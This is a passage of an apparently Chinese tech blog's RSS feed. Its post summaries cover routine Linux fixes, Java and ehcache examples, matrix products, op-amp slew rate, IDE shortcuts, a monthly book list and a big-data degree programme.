      <guid>https://bchobby.github.io/posts/86a3437a50da5c2ca74378a815641bf7/</guid>
      <description>在64系统里执行32位程序如果出现/lib/ld-linux.so.2: bad ELF interpreter: No such file or directory，安装下glic即可 [root@localhost bin]# yum install glibc.i686 。。。。。。。。。。。。。。。。 已安装: glibc.i686 0:2.17-196.el7 作为依赖被安装: nss-softokn-freebl.i686 0:3.28.3-8.el7_4 作为依赖被升级: glibc.x86_64 0:2.17-196.el7 glibc-common.x86_64 0:2.17-196.el7 glibc-devel.x86_64 0:2.17-196.el7 glibc-headers.x86_64 0:2.17-196.el7 nspr.x86_64 0:4.13.1-1.0.el7_3 nss-softokn-freebl.x86_64 0:3.28.3-8.el7_4 完毕！</description>
    </item>
    <item>
      <title>打不开某些jsp页面</title>
      <link>https://bchobby.github.io/posts/c09e51a3fb9fbb50476b875c69e32b5b/</link>
      <pubDate>Mon, 13 Nov 2017 10:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c09e51a3fb9fbb50476b875c69e32b5b/</guid>
      <description> 页面显示：&#xA;“Failed to create the part&#39;s controls&#34; 这时： 在打不开的jsp页面上右键&amp;gt;openwith&amp;gt;myeclispe jsp editor </description>
    </item>
    <item>
      <title>输入流类ProgressMonitorInputStream 表示一个进度条</title>
      <link>https://bchobby.github.io/posts/507f1988678062c0734865f390455c41/</link>
      <pubDate>Sun, 12 Nov 2017 15:55:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/507f1988678062c0734865f390455c41/</guid>
      <description>import java.awt.BorderLayout; import java.awt.EventQueue; import java.io.BufferedInputStream; import java.io.FileInputStream; import java.io.InputStream; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.ProgressMonitorInputStream; import javax.swing.border.EmptyBorder; public class test1 extends JFrame { /** * */ private static final long serialVersionUID = 1L; private static String fileName = &#34;sdk-tools-windows-3859397.zip&#34;; private JPanel contentPane; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { test1 frame = new test1(); frame.</description>
    </item>
    <item>
      <title>ehcache缓存技术讲解</title>
      <link>https://bchobby.github.io/posts/1bea008a77cfcfaa46d942ae6f4b5fb1/</link>
      <pubDate>Fri, 10 Nov 2017 21:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bea008a77cfcfaa46d942ae6f4b5fb1/</guid>
      <description>一，ehcache缓存 在这里，我们首先讨论一个问题，什么是缓存，我们为什么要使用缓存？缓存实际上是为了减轻数据库服务器的负载，使用缓存，我们可以将一些常用的数据放入缓存，因为这些数据经常性的使用，大大增加了服务器的负载，但是当放入缓存后，在使用这些数据的时候，首先会从缓存中查找，如果缓存中有就读取，不会再到数据库中查找，如果缓存中没有，才会到数据库中查询，在这里，需要注意的是，ehcache的是将数据放入jvm内存中，也就是说当次缓存在本次服务器启动期间有效，下次服务器启动将会失效。&#xA;二，如何使用ehcache技术进行缓存？ 使用ehcache进行缓存其实非常简单，在这里简要介绍一下，然后我们通过一个实例来介绍具体怎么使用。&#xA;Ehcache的类层次模型主要为三层，最上层的是CacheManager，他是操作Ehcache的入口。我们可以通过CacheManager.getInstance()获得一个单个的CacheManager，或者通过CacheManager的构造函数创建一个新的CacheManager。每个CacheManager都管理着多个Cache。而每个Cache都以一种类Hash的方式，关联着多个Elemenat。而Element则是我们用于存放要缓存内容的地方。&#xA;ehcache的刷新策略 ehcache的刷新策略是当缓存在放入的时候记录一个放入时间，它是用Lazy Evict的方式，在取的时候同设置的TTL比较&#xA;ehcache缓存的3种清空策略： 1 FIFO，先进先出 2 LFU，最少被使用，缓存的元素有一个hit属性，hit值最小的将会被清出缓存。 3 LRU，最近最少使用的，缓存的元素有一个时间戳，当缓存容量满了，而又需要腾出地方来缓存新的元素的时候，那么现有缓存元素中时间戳离当前时间最远的元素将被清出缓存。&#xA;事件处理 可以为CacheManager添加事件监听，当对CacheManager增删Cache时，事件处理器将会得到通知。要配置事件处理，需要通过ehcache的配置文件来完成。 可以为Cache添加事件监听，当对Cache增删Element时，事件处理器将会得到通知。要配置事件处理，需要通过ehcache的配置文件来完成。&#xA;ehcache参数配置： maxInMemory - 设定内存中创建对象的最大值。 eternal - 设置元素（译注：内存中对象）是否永久驻留。如果是，将忽略超时限制且元素永不消亡。 timeToIdleSeconds - 设置某个元素消亡前的停顿时间。也就是在一个元素消亡之前，两次访问时间的最大时间间隔值。这只能在元素不是永久驻留时有效（译注：如果对象永恒不灭，则设置该属性也无用）。 如果该值是 0 就意味着元素可以停顿无穷长的时间。 timeToLiveSeconds - 为元素设置消亡前的生存时间。也就是一个元素从构建到消亡的最大时间间隔值。这只能在元素不是永久驻留时有效。 overflowToDisk - 设置当内存中缓存达到maxInMemory 限制时元素是否可写到磁盘上。&#xA;好了，经过上面的介绍，下面我们来看一个简单的实例。我们将会查询一条数据后然后删除这条数据再次查询任然能查询到该结果，因为它已经存入到缓存中了，即使数据库中不存在该数据。 首先，要引入pom。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-cache&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; ehcache.xml文件&#xA;&amp;lt;ehcache&amp;gt; &amp;lt;!-- 磁盘存储:将缓存中暂时不使用的对象,转移到硬盘,类似于Windows系统的虚拟内存 path:指定在硬盘上存储对象的路径 --&amp;gt; &amp;lt;diskStore path=&#34;java.io.tmpdir&#34; /&amp;gt; &amp;lt;!-- defaultCache:默认的缓存配置信息,如果不加特殊说明,则所有对象按照此配置项处理 maxElementsInMemory:设置了缓存的上限,最多存储多少个记录对象 eternal:代表对象是否永不过期 timeToIdleSeconds:最大的发呆时间 timeToLiveSeconds:最大的存活时间 overflowToDisk:是否允许对象被写入到磁盘 --&amp;gt; &amp;lt;defaultCache maxElementsInMemory=&#34;10000&#34; eternal=&#34;false&#34; timeToIdleSeconds=&#34;120&#34; timeToLiveSeconds=&#34;120&#34; overflowToDisk=&#34;true&#34; /&amp;gt; &amp;lt;!-- cache:为指定名称的对象进行缓存的特殊配置 name:指定对象的完整名 --&amp;gt; &amp;lt;cache name=&#34;</description>
    </item>
    <item>
      <title>矩阵外积与内积</title>
      <link>https://bchobby.github.io/posts/be1fd4f98c977b2714643e948d8aeb12/</link>
      <pubDate>Fri, 10 Nov 2017 10:04:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be1fd4f98c977b2714643e948d8aeb12/</guid>
      <description>一个行向量乘以一个列向量称作向量的内积，又叫作点积，结果是一个数；&#xA;一个列向量乘以一个行向量称作向量的外积，外积是一种特殊的克罗内克积，结果是一个矩阵，&#xA;假设和b分别是一个行向量和一个列向量，那么内积、外积分别记作和，,为了讨论方便，假设每个向量的长度为2。&#xA;注意：外积在不同的地方定义方式不太一样，这里不详细讨论&#xA;定义了内积和外积以后，我们讨论矩阵的乘法。矩阵是由向量组成的，因此对矩阵不同角度的抽象，将矩阵乘法转换为向量乘法，可以使我们从不同的角度去理解矩阵的乘法。首先我们可以对于一个矩阵A（假设行和列的大小都是2），我们可以即可以把它看作由两个行向量组成的列向量，&#xA;，又可以看作是由两个列向量组成的行量,我们表示列向量，表示行向量&#xA;这样矩阵A和矩阵B的乘积按照不同的角度就可以组成四种理解方式。&#xA;一、 A是由行向量组成的列向量，B是由列向量组成的行向量&#xA;此时AB乘积变为了两个新的向量的外积形式，按照外积定义，我们有&#xA;注意到这里面每一个都是一个向量，因此就是一个内积,计算结果就是AB矩阵第i行第j列中的元素。因此，我们可以看到，矩阵乘积是两个向量的外积，并且外积矩阵中的每一个元素是一个内积。这种方式是最直接的理解方式。&#xA;二、 A是由列向量组成的行向量，B也是由列向量组成的行向量&#xA;令C = AB， 我们考虑C的每一个列向量:&#xA;同理：&#xA;因此，矩阵C的每一个列向量，是A的列向量的一个线性组合，该线性组合中的系数是的各个元素。从这个角度说C的每一列都存在于A的列向量空间内。&#xA;三、 A是由行向量组成的列向量，B也是由行向量组成的列向量&#xA;类似于上面的情况，不过我们现在考虑C的每一个行向量:&#xA;同理： 因此，矩阵C的每一个行向量，是B的行向量的一个线性组合，该线性组合中的系数是的各个元素。从这个角度说C的每一个行向量都存在于B的行向量空间内。 四、 A是由列向量组成的行向量，B也是由行向量组成的列向量 此时AB乘积变为了两个新的向量的内积形式。按照内积定义我们有：&#xA;注意到是一个外积形式，因为是一个列向量，是一个行向量，因此C是由各个外积矩阵相加得到的。&#xA;根据以上分析，我们可以将第一种和第四种方式放到一起，第二种和第三种放到一起分别进行理解。第一种方式先将A抽象为列向量，将B抽象为行向量，从而将矩阵乘法变为了一种外积的形式，而外积矩阵中的每一个元素是一个行向量和一个列向量的内积。这种方式每次得到C的一个元素。&#xA;第四种理解方式先将A抽象为行向量，将B抽象为列向量，从而将矩阵乘法变为了一种内积形式，内积的各个组成部分又是一个外积。这种方式每次不是得到C的一个元素，而是将C看作是多个矩阵相加组成的，每次计算得到一个加数矩阵。&#xA;第二种方式将矩阵A、B都抽象为行向量，行向量的每个组成是一个列向量，A乘以B的每一个列向量得到一个新的列向量，并且该列向量存在于A的列向量空间内，A乘以B相当于是对A进行了列变换。第三种方式则将A乘以B看作是对B进行了行变换。&#xA;如果想对一个矩阵进行行变换，可以左乘一个矩阵；相应的如果想对矩阵进行列变换，可以右乘一个矩阵。这种思想被应用到高斯消元的过程中。&#xA;最后我们总结一下矩阵C(C=AB)到底是什么，C是一个矩阵，是一个多面孔的矩阵。它既是列向量组成的行向量，每个列向量是A的列空间的线性组合，又是行向量组成的列向量，每个行向量是B的行空间的线性组合；它是一个内积，内积的每个成分是一个外积，同时它又是一个外积，外积矩阵的每一个元素是一个内积。&#xA;向量是由n个实数组成的一个n行1列（n*1）或一个1行n列（1*n）的有序数组；&#xA;向量的点乘,也叫向量的内积、数量积，对两个向量执行点乘运算，就是对这两个向量对应位一一相乘之后求和的操作，点乘的结果是一个标量。&#xA;点乘公式 对于向量a和向量b：&#xA;a和b的点积公式为：&#xA;要求一维向量a和向量b的行列数相同。&#xA;点乘几何意义 点乘的几何意义是可以用来表征或计算两个向量之间的夹角，以及在b向量在a向量方向上的投影，有公式：&#xA;推导过程如下，首先看一下向量组成：&#xA;定义向量：&#xA;根据三角形余弦定理有：&#xA;根据关系c=a-b（a、b、c均为向量）有：&#xA;即：&#xA;向量a，b的长度都是可以计算的已知量，从而有a和b间的夹角θ：&#xA;根据这个公式就可以计算向量a和向量b之间的夹角。从而就可以进一步判断这两个向量是否是同一方向，是否正交(也就是垂直)等方向关系，具体对应关系为：&#xA;a·b&amp;gt;0 方向基本相同，夹角在0°到90°之间&#xA;a·b=0 正交，相互垂直 a·b&amp;lt;0 方向基本相反，夹角在90°到180°之间 叉乘公式&#xA;两个向量的叉乘，又叫向量积、外积、叉积，叉乘的运算结果是一个向量而不是一个标量。并且两个向量的叉积与这两个向量组成的坐标平面垂直。 对于向量a和向量b：&#xA;a和b的叉乘公式为：&#xA;其中：&#xA;根据i、j、k间关系，有：&#xA;叉乘几何意义 在三维几何中，向量a和向量b的叉乘结果是一个向量，更为熟知的叫法是法向量，该向量垂直于a和b向量构成的平面。&#xA;在3D图像学中，叉乘的概念非常有用，可以通过两个向量的叉乘，生成第三个垂直于a，b的法向量，从而构建X、Y、Z坐标系。如下图所示： 在二维空间中，叉乘还有另外一个几何意义就是：aXb等于由向量a和向量b构成的平行四边形的面积。</description>
    </item>
    <item>
      <title>运放参数——压摆率(SR)</title>
      <link>https://bchobby.github.io/posts/10191bd4cc706ffa9f3110bc0c76e852/</link>
      <pubDate>Thu, 09 Nov 2017 18:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10191bd4cc706ffa9f3110bc0c76e852/</guid>
      <description> 前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1.定义 slew rate 就是电压转换速率（Slew Rate），简称压摆率。其定义是在1微秒时间里电压升高的幅度，就是方波来测量时就是电压由波谷升到波峰所需时间，单位通常有V/s，V/ms和V/μs三种。如果电压转换速率不高，在信号来了时不能准确及时跟上，信号消失后放大器只能跟上了原信号电平的一半或更低，令信号的幅度比信号缩小，分析力也就差了。&#xA;2.解释 压摆率可认为，当输入运放一个阶跃信号时，运放输出信号的最大变化速度，如下图：&#xA;计算表达式：&#xA;压摆率SR的来源：&#xA;运放的SR主要限制在内部第二级的Cc电容上。这个电容同时也决定着运放的带宽。那运放的压摆率，主要是由于对第二级的密勒电容充电过程的快慢所决定的。这个电容的大小会影响到运放的压摆率，同时充电电流的大小也会影响到充电的快慢。这也就解释了，为什么一般超低功耗的运放压摆率都不会太高。好比水流流速小，池子又大。只能花更长的时间充满池子。&#xA;SR对放大电路的影响了。它的直接影响，就是使输出信号的上升时间或下降时间过慢，从而引起失真。&#xA;上图是测试的OPA333增益G=10时波形。由于OPA333的增益带宽积为350kHz，理论上增益为10的时候的带宽为35kHz。但上图是24kHz时测试的结果。显然输出波形已经失真，原因就是压摆率不够了。带宽也变成了27kHz左右。&#xA;压摆是产生建立时间原因，也是限制运放速率的重要因素！&#xA;参考：&#xA;1.运放的转换速率（压摆率）SR的意义和如何选取&#xA;2.运放参数的详细解释和分析-part18，压摆率(SR)&#xA;3.运放压摆率-2&#xA;4.运放的速率、建立时间和压摆率的关系 </description>
    </item>
    <item>
      <title>CentOS解决pip 安装M2Crypto失败</title>
      <link>https://bchobby.github.io/posts/69b7f24de567c36c611758aee6c0b787/</link>
      <pubDate>Thu, 09 Nov 2017 17:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69b7f24de567c36c611758aee6c0b787/</guid>
      <description>1 pip install M2Crypto 报错信息：&#xA;1 2 3 4 5 6 swig -python -I /usr/local/include/python2 .7 -I /usr/include -includeall -o SWIG /_m2crypto_wrap .c SWIG /_m2crypto .i /usr/include/openssl/opensslconf .h:31: Error: CPP #error &#34;&#34;This openssl-devel package does not work your architecture?&#34;&#34;. Use the -cpperraswarn option to continue swig processing. error: command &#39;swig&#39; failed with exit status 1 ---------------------------------------- Command &#34;/usr/local/bin/python -c &#34; import setuptools, tokenize;__file__= &#39;/tmp/pip-build-_WW9OZ/M2Crypto/setup.py&#39; ; exec (compile(getattr(tokenize, &#39;open&#39; , open )(__file__).</description>
    </item>
    <item>
      <title>linux系统异常，学习如何通过系统日志进行初步排查</title>
      <link>https://bchobby.github.io/posts/a87000fe51e25f0fe3b8f5f8f96202e2/</link>
      <pubDate>Thu, 09 Nov 2017 15:13:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a87000fe51e25f0fe3b8f5f8f96202e2/</guid>
      <description> 近日发现有一台服务器在桌面运行的程序不知何故没有了 一开始以为是服务器自动重启了，但是使用w命令看了下，系统并没有重启，反而 从上面的图中可以看到当前系统时间是11:33:23，系统已经运行了79天，系统有7个用户，平均负载 既然没有重启那为什么桌面上什么也没有了呢？ 正常情况系我都是在桌面打开终端窗口后在里面执行的程序。 既然想知道为什么会这样，那么就需要知道当时系统做了什么操作。 查看如下 两个日志对我们了解系统当时做了什么操作有帮助。 /var/log/messages 记录系统整体信息，一般来讲各类报错信息都会在这个日志中记录。 /var/log/cron 记录系统定制任务的日志。 首先我要定位系统异常的时间点，很简单，我打开我的程序的目录，找到运行日志打开一看 可以直接看出来到7:20就没有了，这说明程序运行到这个时间点之后就没有在运行，基本上就是这个时间点异常了。 那么系统日志我们就按着这个时间点去看。 首先打开cron日志找到对应的时间点，看了下似乎没什么异常之处。 接下来看messages日志，找到对应的时间点之后发现了异常。 从7:20开始系统发生异常，然后桌面终端的情况被记录到/var/spool/abrt/ccp-2017-11-09-07:20:02-5142.new/coredump 然后被程序调用的网卡被卸载掉，紧接着系统写了一个mail。 上面的日志中有一个error，根据这个报错百度了下（这里我要吐槽百度，怀念google），大概意思是error 4的意思是用户态程序内存访问越界。 error number是由三个字位组成的，从高到底分别为bit2 bit1和bit0,所以它的取值范围是0~7。 bit2: 值为1表示是用户态程序内存访问越界，值为0表示是内核态程序内存访问越界 bit1: 值为1表示是写操作导致内存访问越界，值为0表示是读操作导致内存访问越界 bit0: 值为1表示没有足够的权限访问非法地址的内容，值为0表示访问的非法地址根本没有对应的页面，也就是无效地址 error number是4, 转成二进制就是100, 即bit2=1, bit1=0, bit0=0, 按照上面的解释，我们可以得出这条信息是由于用户态程序读操作访问越界造成的。 但是具体是什么程序造成的我还没弄清楚，但是用户态程序也就是我运行的程序也就那么几个，逐个排查后应该可以得到结论。后续在慢慢弄。 本文的重点是学习了如何根据系统日志分析问题所在。 </description>
    </item>
    <item>
      <title>【JAVA-IDEA】IDEA常用快捷键</title>
      <link>https://bchobby.github.io/posts/1e0f8b443e59d2d9fbedd557e5307103/</link>
      <pubDate>Thu, 09 Nov 2017 14:47:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e0f8b443e59d2d9fbedd557e5307103/</guid>
      <description> F2:快速定位到报错地方。 alt+4:调出控制台console Esc:让鼠标光标在project时切换到java代码里 ctrl+鼠标悬浮方法上/形参上：以javadoc形式展示，显示形参上的类型。 ctrl+B:快速打开光标处的类或方法。反向：查看方法被哪些类引用了。 Ctrl+L:下一个word ctrl+shift+F4:关闭console相当于close tab Ctrl+Shift+Alt+N查找类中的方法或变量 ALT+←/→切换代码视图 CTRL+ALT←/→返回上次编辑的位置 ALT+↑/↓在方法间快速移动定位 shift+Enter:可以会直接跳到方法内部，自动生成{}，例如while(true){}在true后直接摁下shift+Enter ctrl+shift+m:移动到方法体外面，{}一对 ctrl+F4:关闭当前窗口 shift+F4:复制当前窗口 ctrl+shift+F4:收缩左侧工程面板，中间代码块区域呈现最大化 shift+Esc:隐藏console面板 Alt+回车导入包,自动修正 ctrl+shift+l格式化代码 ctrl+alt+F7:方法引用所在位置 alt+F1快速定位 Ctrl+F12，可以显示当前文件的结构 Ctrl+Q，显示注释文档 F3，查找下一个 Shift+F3，查找上一个 compile：ctrl+shift+f9 断点： http://blog.csdn.net/u010084868/article/details/52711787 ctrl+g:快速定位行 Ctrl+W，可以选择单词继而语句继而行继而函数 ctrl+shift+t:创建单元测试 </description>
    </item>
    <item>
      <title>Linux挂载重启无效问题</title>
      <link>https://bchobby.github.io/posts/3303bcb4d514be2f982172c2240d0f89/</link>
      <pubDate>Thu, 09 Nov 2017 09:40:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3303bcb4d514be2f982172c2240d0f89/</guid>
      <description>虚拟机设备存储空间不足，新加了一块硬盘，分区之后使用mount挂载到一个目录下 mount /dev/sdb1 /guazai 当时显示有效，但是重启之后发现自己新建的目录是存在的，但是硬盘没有挂载到该目录下 使用df -h查看没有sdb1硬盘的挂载信息&#xA;解决办法： vi /etc/fstab 在最后面加上/dev/sdb1 /guazai ext3 defaults 0 0 保存之后重启</description>
    </item>
    <item>
      <title>图灵赠书——程序员11月书单</title>
      <link>https://bchobby.github.io/posts/8ca9859b28beac55c399c153940cfbb4/</link>
      <pubDate>Wed, 08 Nov 2017 10:15:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ca9859b28beac55c399c153940cfbb4/</guid>
      <description>10月书讯中奖名单： wudalang_gd《精通Git（第2版）》chszs《CCNA学习指南：路由和交换认证（第2版）》sujun10《同构JavaScript应用开发》dongfeng9ge《学习JavaScript数据结构与算法（第2版）》dotnetstudio《精通Git（第2版）》u010850027《精通Git（第2版）》guwei4037《CCNA学习指南：路由和交换认证（第2版）fay462298322《深入理解SVG》 中奖的小伙伴记得私信turingbooks（点击我头像就可以私信），你的邮寄信息哦~ PS：私信前请记得关注turingbooks，方便在私信中对话~~ 留言参与赠书活动： 在图灵书讯中选出你想要的那本书并写上你想要的理由，在文末评论里回复。下期书讯更新时，会在本期的书讯评论中随机选出5~15名小伙伴赠书，获奖者可选择图灵书讯中图书任一本。 本月7本新书，书虽然不多，却都相当重点，也非常特别，相信小伙伴们会喜欢。&#xA;特别推荐 《单核工作法图解：事多到事少，拖延变高效》【有电子版】 《时间旅行简史》【有电子版】&#xA;《Kafka技术内幕：图文详解Kafka源码设计与实现》《Ruby on Rails 教程（第4版）》【有电子版】《修改软件的艺术：构建易维护代码的9条最佳实践》【有电子版】《精通Metasploit渗透测试（第2版）》《算法小时代：从数学到生活的历变》 特别推荐 ○ 单核工作法图解：事多到事少，拖延变高效 Monotasking: From Procrastination to Productivity by Cutting Down on Tasks to Do 作者：Staffan Nöteberg 译者：大胖 定价：39.00元&#xA;销量30万册的《番茄工作法图解》姊妹篇 大忙人、拖延症患者的又一时间管理利器 简单、灵活、高效，让你成为时间的主人 本书的主题是管理时间，战胜拖延。作者通过自身多年的经验，首创了一套简单、灵活而又强大的单核工作法，能行之有效地帮助你加强自制力、集中精力。 全书分为6章，从削减待办任务、现在专注一件事、永不拖延、循序渐进、简化协作和给创意充电等方面详述这一方法，助你在日常生活中轻松完成各项任务。 更多自我管理好书：https://mp.weixin.qq.com/s/3ABr4AQ8Le7nftebzHxIrw 特别推荐 ○ 时间旅行简史 Time Travel 作者：詹姆斯·格雷克 译者：楼伟珊 定价：49.00元 / 电子书24.99元&#xA;《信息简史》《混沌》《牛顿传》《费曼传》作者新作！ 一段关于时间旅行的时间之旅：起源、演化和影响极富启迪，精彩纷呈：科幻、悖论、永恒、穿越、时间舱、博尔赫斯……陈学雷、苟利军、刘钢、王桥、张双南、DeepTech深科技联合推荐“烧脑”、“宏大的叙事”、“引人入胜”、“当中有哲学，有科学，有艺术，有猜测，有幻想，有人性” 在能够帮助我们更深入地理解作为一种大众文化的时间旅行之余，这段旅程还能够帮助我们更好地理解那个古老而深刻的问题：时间是什么？ IT人文书单：http://mp.weixin.qq.com/s/RsK8sfZNWimlHR1Aj5fiJQ 1. Kafka技术内幕：图文详解Kafka源码设计与实现 图灵原创 作者：郑奇煌 定价：119.00元&#xA;图文详解Kafka的内部原理、设计与实现 全面分析以Kafka为中心的分布式流平台 Kafka新特性详解，包括连接器、流处理 Kafka自LinkedIn开源以来就以高性能、高吞吐量、分布式的特性著称，本书以0.10版本的源码为基础，深入分析了Kafka的设计与实现，包括生产者和消费者的消息处理流程，新旧消费者不同的设计方式，存储层的实现，协调者和控制器如何确保Kafka集群的分布式和容错特性，两种同步集群工具MirrorMaker和uReplicator，流处理的两种API以及Kafka的一些高级特性等。 2. Ruby on Rails 教程（第4版） Ruby on Rails Tutorial: Learn Web Development with Rails，4E 作者：Michael Hartl 译者：安道 定价：129.</description>
    </item>
    <item>
      <title>大数据专业走进各大高校，具体学什么？</title>
      <link>https://bchobby.github.io/posts/ccaefe9f25680fb578feccfaa8aa3e2c/</link>
      <pubDate>Tue, 07 Nov 2017 10:57:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccaefe9f25680fb578feccfaa8aa3e2c/</guid>
      <description>从IT时代进入DT时代，高校在大数据方向上设置了哪些专业，具体学什么，就业怎么样，作为新兴专业，考生如何报考?&#xA;专业名称：数据科学与大数据技术;&#xA;人才培养目标：以大数据为核心研究对象，利用大数据的方法解决具体行业应用问题；&#xA;学制：四年;&#xA;学位：工学或理学学位。&#xA;目前已有35所高校申报了大数据专业：&#xA;第一批(3所)：北京大学、对外经济贸易大学、中南大学;&#xA;第二批(32所)：中国人民大学、复旦大学、北京邮电大学、华东师范大学、电子科技大学、北京信息科技大学、中北大学、长春理工大学、上海工程技术大学、上海纽约大学、浙江财经大学、广西科技大学、昆明理工大学、云南师范大学、云南财经大学、重庆理工大学、晋中学院、福建工程学院、黄河科技学院、湖北经济学院、佛山科学技术学院、广东白云学院、北京师范大学-香港浸会大学联合国际学院、成都东软学院、电子科技大学成都学院、贵州大学、贵州师范大学、安顺学院、贵州商学院、贵州理工学院、宁夏理工学、宿州学院。&#xA;数据科学与大数据技术专业都学些什么?&#xA;属于交叉学科：以统计学、数学、计算机为三大支撑性学科;生物、医学、环境科学、经济学、社会学、管理学为应用拓展性学科。此外还需学习数据采集、分析、处理软件，学习数学建模软件及计算机编程语言等，知识结构是二专多能复合的跨界人才(有专业知识、有数据思维)。&#xA;以中国人民大学为例：&#xA;基础课程(38学分)：数学分析、高等代数、普通物理数学与信息科学概论、数据结构、数据科学导论、程序设计导论、程序设计实践。&#xA;必修课(37学分)：离散数学、概率与统计、算法分析与设计、数据计算智能、数据库系统概论、计算机系统基础、并行体系结构与编程、非结构化大数据分析。&#xA;选修课：数据科学算法导论、数据科学专题、数据科学实践、互联网实用开发技术、抽样技术、统计学习、回归分析、随机过程。&#xA;数据科学与大数据技术专业人才需求情况怎样?&#xA;根据领英发布的《2016年中国互联网最热职位人才报告》显示，研发工程师、产品经理、人力资源、市场营销、运营和数据分析是中国护理万网行业需求最旺盛的职位。&#xA;目前国内有30万数据人才，预计2018年，大数据人才需求将有大幅增长，高端人才如大数据科学家的缺口在14万至19万之间;懂得利用大数据做决策的分析师和经理缺口达到150万，数据分析师现在需求就很旺盛了，2年工作经验的月薪可达到8K，硕士学历的数据分析师月薪可达到12K，5年工作经验的可达到40万至60万元。&#xA;数据科学与大数据技术专业可以从事的工作有哪些?&#xA;重视数据的机构已经越来越多，上到国防部，下到互联网创业公司、金融机构需要通过大数据项目来做创新驱动，需要数据分析或处理岗位也很多;常见的食品制造、零售电商、医疗制造、交通检测等也需要数据分析与处理，如优化库存，降低成本，预测需求等。人才主要分成三大类：大数据系统研发类、大数据应用开发类、大数据分析类，热门岗位有：&#xA;1、数据挖掘师/算法工程师&#xA;做数据挖掘要从海量数据中发现规律， 这就需要一定的数学知识，最基本的比如线性代数、高等代数、凸优化、概率论等。有实际建模经验、机器学习算法的实现，对业务理解、熟悉数据挖掘算法、掌握数据库和精通计算机编程。经常会用到的语言包括Python、Java、C或者R。&#xA;2、数据分析师&#xA;数据分析师指的是不同行业中，专门从事行业数据搜集、整理、分析，并依据数据做出行业研究、评估和预测的专业人员。在工作中通过运用工具，提取、分析、呈现数据，实现数据的商业意义。 作为一名数据分析师，必须要掌握数据分析基本原理与一些有效的数据分析方法，熟练使用SPSS、STATISTIC、Eviews、SAS等数据分析软件中的一门，懂设计运用图表有效表达数据分析师的分析观点，还需能用Acess等进行数据库开发，并掌握一门编程语言。总之，一个优秀的数据分析师，应该业务、管理、分析、工具、设计都不落下。&#xA;3、数据工程师&#xA;大数据工程师主要从事数据挖掘工作，运用算法来解决和分析问题，让数据显露出真相，同时，他们还推动数据解决方案的不断更新。分析历史、预测未来、优化选择，这是大数据工程师在“玩数据”时最重要的三大任务。通过这三个工作方向，他们帮助企业做出更好的商业决策。 要求具备一定的统计学、数学理论知识，有实际开发能力和大规模的数据处理能力，对行业有认知。&#xA;4、数据产品经理&#xA;数据产品经理必须了解不同的公司，在不同的阶段，需要哪些数据产品，并能够制作出来，这是此职位的核心要求。其次，数据产品经理必须有足够的数据分析能力，如果有了数据分析的思维，再跟公司业务结合就会比较容易。最后，数据产品经理是产品经理的一种，所以要同时具备产品经理的能力：了解用户，需求调研，方案设计，协调技术、测试、设计等。&#xA;5、大数据可视化工程师&#xA;随着大数据在人们工作及日常生活中的应用，大数据可视化也改变着人类的对信息的阅读和理解方式。从百度迁徙到谷歌流感趋势，再到阿里云推出县域经济可视化产品，大数据技术和大数据可视化都是幕后的英雄。&#xA;岗位职责：&#xA;1）依据产品业务功能，设计符合需求的可视化方案。&#xA;2）依据可视化场景不同及性能要求，选择合适的可视化技术。&#xA;3）依据方案和技术选型制作可视化样例。&#xA;4）配合视觉设计人员完善可视化样例。&#xA;5）配合前端开发人员将样例组件化。&#xA;6、数据科学家&#xA;这一职位过去也被称为数据架构研究，数据科学家是一个全新的工种，能够将企业的数据和技术转化为企业的商业价值。数据科学家是指能采用科学方法、运用数据挖掘工具对复杂多量的数字、符号、文字、网址、音频或视频等信息进行数字化重现与认识，并能寻找新的数据洞察的工程师或专家(不同于统计学家或分析师)。&#xA;随着数据学的进展，越来越多的实际工作将会直接针对数据进行，这将使人类认识数据，从而认识自然和行为。因此，数据科学家首先应当具备优秀的沟通技能，能够同时将数据分析结果解释给IT部门和业务部门领导。总的来说，数据科学家是分析师、艺术家的合体，需要具备多种交叉科学和商业技能。&#xA;中国人民大学与人大、北大、中科院大学、中财、首经贸五校联合培养数据分析硕士第一届毕业生就业情况：&#xA;腾讯、百度等IT公司：22人;金融、银行等：21人;出国、读博等：5人;国家事业单位：6人;其它：2人;共55人。&#xA;数据科学与大数据技术专业报考建议&#xA;当下企业用人现象：一个专业集群对应一个行业热点。大数据是交叉学科，走的是“复合型”培养路线，行业内从事相关职能的人专业背景各异。大数据作为人才培养方向在探索中，如果直接从各专业人才中遴选学苗开展硕士研究生阶段的教育会更适合一些，直接开设本科阶段的教育还相对不够成熟。&#xA;人才培养与行业发展存在差距。由于教学大纲更新不会太及时，大数据人才7年毕业(本科四年、硕士研究生三年)后，所学恐怕落后于行业发展。&#xA;大数据人才的典型胜任特征：善于做需求分析、写代码;善于与人沟通，喜欢探索未知;需要根据数据推演、分析、提出解决方案，有数据思维;需要持续保持学习状态;内性格上能动能静。&#xA;不同办学层次的院校开设此专业，培养模式会有差异。例如，高职类院校学生由于数学基础相对薄弱，会跟多偏向于工具的使用，如数据清洗、数据存储以及数据可视化等相关工具的使用;本科院校会倾向于大数据相关基础知识全面覆盖性教学，在研究生段则会专攻某一技术领域，比如数据挖掘、数据分析、商业智能、人工智能等。&#xA;报考建议&#xA;1.注意规避如上缺点，制定、执行相应的解决方案。&#xA;2.例如：报考前评估从目标院校毕业后能否在大数据行业中找到理想的职位，各高校一般会根据服务地区经济发展需求开设专业，前几届毕业生一般都有对口的就业机会;&#xA;3.根据未来职业规划初步定为初始职位，在大学期间通过选修、培训等方式精修相关学科，夯实